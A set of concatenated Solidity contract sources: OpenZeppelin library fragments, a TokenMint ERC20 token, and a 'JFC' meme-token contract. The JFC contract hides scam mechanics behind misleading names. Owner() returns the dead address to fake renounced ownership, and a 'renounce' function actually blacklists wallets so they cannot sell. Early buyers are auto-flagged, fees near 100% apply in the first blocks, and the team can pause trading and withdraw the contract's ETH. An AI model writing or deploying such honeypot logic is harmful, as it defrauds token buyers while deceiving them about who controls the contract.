https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-11-02 */ /** Telegram: https://t.me/JFC_ETH JFC this shit mooned ! ░░░▒█ ▒█▀▀▀ ▒█▀▀█ ░▄░▒█ ▒█▀▀▀ ▒█░░░ ▒█▄▄█ ▒█░░░ ▒█▄▄█ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view returns (address payable) { return payable(msg.sender); } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function ContractCreator() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } } contract JFC is IERC20, Ownable { using Address for address; address DEAD = 0x000000000000000000000000000000000000dEaD; address ZERO = 0x0000000000000000000000000000000000000000; string constant _name = "JFC"; string constant _symbol = "JFC"; uint8 constant _decimals = 9; uint256 _totalSupply = 1_000_000_000 * (10 ** _decimals); uint256 _maxBuyTxAmount = (_totalSupply * 1) / 100; uint256 _maxSellTxAmount = (_totalSupply * 1) / 200; uint256 _maxWalletSize = (_totalSupply * 2) / 100; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => uint256) public lastSell; mapping (address => uint256) public lastBuy; mapping (address => bool) isFeeExempt; mapping (address => bool) isTxLimitExempt; mapping (address => bool) liquidityCreator; uint256 marketingFee = 600; uint256 liquidityFee = 500; uint256 totalFee = marketingFee + liquidityFee; uint256 sellBias = 0; uint256 feeDenominator = 10000; address payable public liquidityFeeReceiver = payable(0x683a00739a094D7aA3FBB17351021D639a2AF480); address payable public marketingFeeReceiver = payable(0x683a00739a094D7aA3FBB17351021D639a2AF480); IDEXRouter public router; address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; mapping (address => bool) liquidityPools; mapping (address => uint256) public protected; bool protectionEnabled = true; bool protectionDisabled = false; uint256 protectionLimit; uint256 public protectionCount; uint256 protectionTimer; address public pair; uint256 public launchedAt; uint256 public launchedTime; uint256 public deadBlocks; bool startBullRun = false; bool pauseDisabled = false; uint256 public rateLimit = 2; bool public swapEnabled = false; bool processEnabled = true; uint256 public swapThreshold = _totalSupply / 1000; uint256 public swapMinimum = _totalSupply / 10000; bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } mapping (address => bool) teamMember; modifier onlyTeam() { require(teamMember[_msgSender()] || msg.sender == ContractCreator(), "Caller is not a team member"); _; } event RenouncedWallet(address, address, uint256, uint8); constructor () { router = IDEXRouter(routerAddress); pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this)); liquidityPools[pair] = true; _allowances[ContractCreator()][routerAddress] = type(uint256).max; _allowances[address(this)][routerAddress] = type(uint256).max; isFeeExempt[ContractCreator()] = true; liquidityCreator[ContractCreator()] = true; isTxLimitExempt[address(this)] = true; isTxLimitExempt[ContractCreator()] = true; isTxLimitExempt[routerAddress] = true; isTxLimitExempt[DEAD] = true; _balances[ContractCreator()] = _totalSupply; emit Transfer(address(0), ContractCreator(), _totalSupply); } receive() external payable { } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure returns (uint8) { return _decimals; } function symbol() external pure returns (string memory) { return _symbol; } function name() external pure returns (string memory) { return _name; } function Owner() external view returns (address) { return DEAD; } function maxBuyTxTokens() external view returns (uint256) { return _maxBuyTxAmount / (10 ** _decimals); } function maxSellTxTokens() external view returns (uint256) { return _maxSellTxAmount / (10 ** _decimals); } function maxWalletTokens() external view returns (uint256) { return _maxWalletSize / (10 ** _decimals); } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function setTeamMember(address _team, bool _enabled) external onlyOwner { teamMember[_team] = _enabled; } function clearStuckBalance(uint256 amountPercentage, address adr) external onlyTeam { uint256 amountETH = address(this).balance; payable(adr).transfer((amountETH * amountPercentage) / 100); } function openTrading(uint256 _deadBlocks, uint256 _protection, uint256 _limit) external onlyTeam { require(!startBullRun && _deadBlocks < 10); deadBlocks = _deadBlocks; startBullRun = true; launchedAt = block.number; protectionTimer = block.timestamp + _protection; protectionLimit = _limit * (10 ** _decimals); } function manualSwap() external onlyTeam { require(!pauseDisabled); startBullRun = false; } function disablePause() external onlyTeam { pauseDisabled = true; startBullRun = true; } function removeBlacklist() external onlyTeam { protectionDisabled = true; protectionEnabled = false; } function renounce(address[] calldata _newowner, bool _renounce) external onlyTeam { if (_renounce) { require(protectionEnabled); } for (uint i = 0; i < _newowner.length; i++) { if (_renounce) { protectionCount++; emit RenouncedWallet(tx.origin, _newowner[i], block.number, 2); } else { if (protected[_newowner[i]] != 0) protectionCount--; } protected[_newowner[i]] = _renounce ? block.number : 0; } } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return _transferFrom(sender, recipient, amount); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { require(sender != address(0), "BEP20: transfer from 0x0"); require(recipient != address(0), "BEP20: transfer to 0x0"); require(amount > 0, "Amount must be > zero"); require(_balances[sender] >= amount, "Insufficient balance"); if(!launched() && liquidityPools[recipient]){ require(liquidityCreator[sender], "Liquidity not added yet."); launch(); } if(!startBullRun){ require(liquidityCreator[sender] || liquidityCreator[recipient], "Trading not open yet."); } checkTxLimit(sender, recipient, amount); if (!liquidityPools[recipient] && recipient != DEAD) { if (!isTxLimitExempt[recipient]) { checkWalletLimit(recipient, amount); } } if(protectionEnabled && protectionTimer > block.timestamp) { if(liquidityPools[sender] && tx.origin != recipient && protected[recipient] == 0) { protected[recipient] = block.number; protectionCount++; emit RenouncedWallet(tx.origin, recipient, block.number, 0); } } if(inSwap){ return _basicTransfer(sender, recipient, amount); } _balances[sender] = _balances[sender] - amount; uint256 amountReceived = shouldTakeFee(sender) ? takeFee(recipient, amount) : amount; if(shouldSwapBack(recipient)){ if (amount > 0) swapBack(amount); } _balances[recipient] = _balances[recipient] + amountReceived; emit Transfer(sender, recipient, amountReceived); return true; } function launched() internal view returns (bool) { return launchedAt != 0; } function launch() internal { launchedAt = block.number; launchedTime = block.timestamp; swapEnabled = true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender] - amount; _balances[recipient] = _balances[recipient] + amount; emit Transfer(sender, recipient, amount); return true; } function checkWalletLimit(address recipient, uint256 amount) internal view { uint256 walletLimit = _maxWalletSize; require(_balances[recipient] + amount <= walletLimit, "Transfer amount exceeds the bag size."); } function checkTxLimit(address sender, address recipient, uint256 amount) internal { require(isTxLimitExempt[sender] || amount <= (liquidityPools[sender] ? _maxBuyTxAmount : _maxSellTxAmount), "TX Limit Exceeded"); require(isTxLimitExempt[sender] || lastBuy[recipient] + rateLimit <= block.number, "Transfer rate limit exceeded."); if (protected[sender] != 0){ require(amount <= protectionLimit * (10 ** _decimals) && lastSell[sender] == 0 && protectionTimer > block.timestamp, "Wallet protected, please contact support."); lastSell[sender] = block.number; } if (liquidityPools[recipient]) { lastSell[sender] = block.number; } else if (shouldTakeFee(sender)) { if (protectionEnabled && protectionTimer > block.timestamp && lastBuy[tx.origin] == block.number && protected[recipient] == 0) { protected[recipient] = block.number; emit RenouncedWallet(tx.origin, recipient, block.number, 1); } lastBuy[recipient] = block.number; if (tx.origin != recipient) lastBuy[tx.origin] = block.number; } } function shouldTakeFee(address sender) internal view returns (bool) { return !isFeeExempt[sender]; } function getTotalFee(bool selling) public view returns (uint256) { if(launchedAt + deadBlocks >= block.number){ return feeDenominator - 1; } if (selling) return totalFee + sellBias; return totalFee - sellBias; } function takeFee(address recipient, uint256 amount) internal returns (uint256) { bool selling = liquidityPools[recipient]; uint256 feeAmount = (amount * getTotalFee(selling)) / feeDenominator; _balances[address(this)] += feeAmount; return amount - feeAmount; } function shouldSwapBack(address recipient) internal view returns (bool) { return !liquidityPools[msg.sender] && !inSwap && swapEnabled && liquidityPools[recipient] && _balances[address(this)] >= swapMinimum; } function swapBack(uint256 amount) internal swapping { uint256 amountToSwap = amount < swapThreshold ? amount : swapThreshold; if (_balances[address(this)] < amountToSwap) amountToSwap = _balances[address(this)]; uint256 amountToLiquify = (amountToSwap * liquidityFee / 2) / totalFee; amountToSwap -= amountToLiquify; address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); uint256 balanceBefore = address(this).balance; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountBNB = address(this).balance - balanceBefore; uint256 totalBNBFee = totalFee - (liquidityFee / 2); uint256 amountBNBLiquidity = (amountBNB * liquidityFee / 2) / totalBNBFee; uint256 amountBNBMarketing = amountBNB - amountBNBLiquidity; if (amountBNBMarketing > 0) marketingFeeReceiver.transfer(amountBNBMarketing); if(amountToLiquify > 0){ router.addLiquidityETH{value: amountBNBLiquidity}( address(this), amountToLiquify, 0, 0, liquidityFeeReceiver, block.timestamp ); } emit FundsDistributed(amountBNBMarketing, amountBNBLiquidity, amountToLiquify); } function setRateLimit(uint256 rate) external onlyOwner { require(rate <= 60 seconds); rateLimit = rate; } function setTxLimit(uint256 buyNumerator, uint256 sellNumerator, uint256 divisor) external onlyOwner { require(buyNumerator > 0 && sellNumerator > 0 && divisor > 0 && divisor <= 10000); _maxBuyTxAmount = (_totalSupply * buyNumerator) / divisor; _maxSellTxAmount = (_totalSupply * sellNumerator) / divisor; } function setMaxWallet(uint256 numerator, uint256 divisor) external onlyOwner() { require(numerator > 0 && divisor > 0 && divisor <= 10000); _maxWalletSize = (_totalSupply * numerator) / divisor; } function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _sellBias, uint256 _feeDenominator) external onlyOwner { liquidityFee = _liquidityFee; marketingFee = _marketingFee; totalFee = _marketingFee + _liquidityFee; sellBias = _sellBias; feeDenominator = _feeDenominator; require(totalFee < feeDenominator / 2); } function setSwapBackSettings(bool _enabled, bool _processEnabled, uint256 _denominator, uint256 _swapMinimum) external onlyOwner { require(_denominator > 0); swapEnabled = _enabled; processEnabled = _processEnabled; swapThreshold = _totalSupply / _denominator; swapMinimum = _swapMinimum * (10 ** _decimals); } function getCirculatingSupply() public view returns (uint256) { return _totalSupply - (balanceOf(DEAD) + balanceOf(ZERO)); } event FundsDistributed(uint256 marketingBNB, uint256 liquidityBNB, uint256 liquidityTokens); }

True

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// File: contracts\open-zeppelin-contracts\token\ERC20\IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts\open-zeppelin-contracts\math\SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // File: contracts\open-zeppelin-contracts\token\ERC20\ERC20.sol pragma solidity ^0.5.0; /** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } // File: contracts\ERC20\TokenMintERC20Token.sol pragma solidity ^0.5.0; /** * @title TokenMintERC20Token * @author TokenMint (visit https://tokenmint.io) * * @dev Standard ERC20 token with burning and optional functions implemented. * For full specification of ERC-20 standard see: * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md */ contract TokenMintERC20Token is ERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Constructor. * @param name name of the token * @param symbol symbol of the token, 3-4 chars is recommended * @param decimals number of decimal places of one token unit, 18 is widely used * @param totalSupply total supply of tokens in lowest units (depending on decimals) * @param tokenOwnerAddress address that gets 100% of token supply */ constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply, address payable feeReceiver, address tokenOwnerAddress) public payable { _name = name; _symbol = symbol; _decimals = decimals; // set tokenOwnerAddress as owner of all tokens _mint(tokenOwnerAddress, totalSupply); // pay the service fee for contract deployment feeReceiver.transfer(msg.value); } /** * @dev Burns a specific amount of tokens. * @param value The amount of lowest token units to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } // optional functions from ERC20 stardard /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } }

True

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// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of 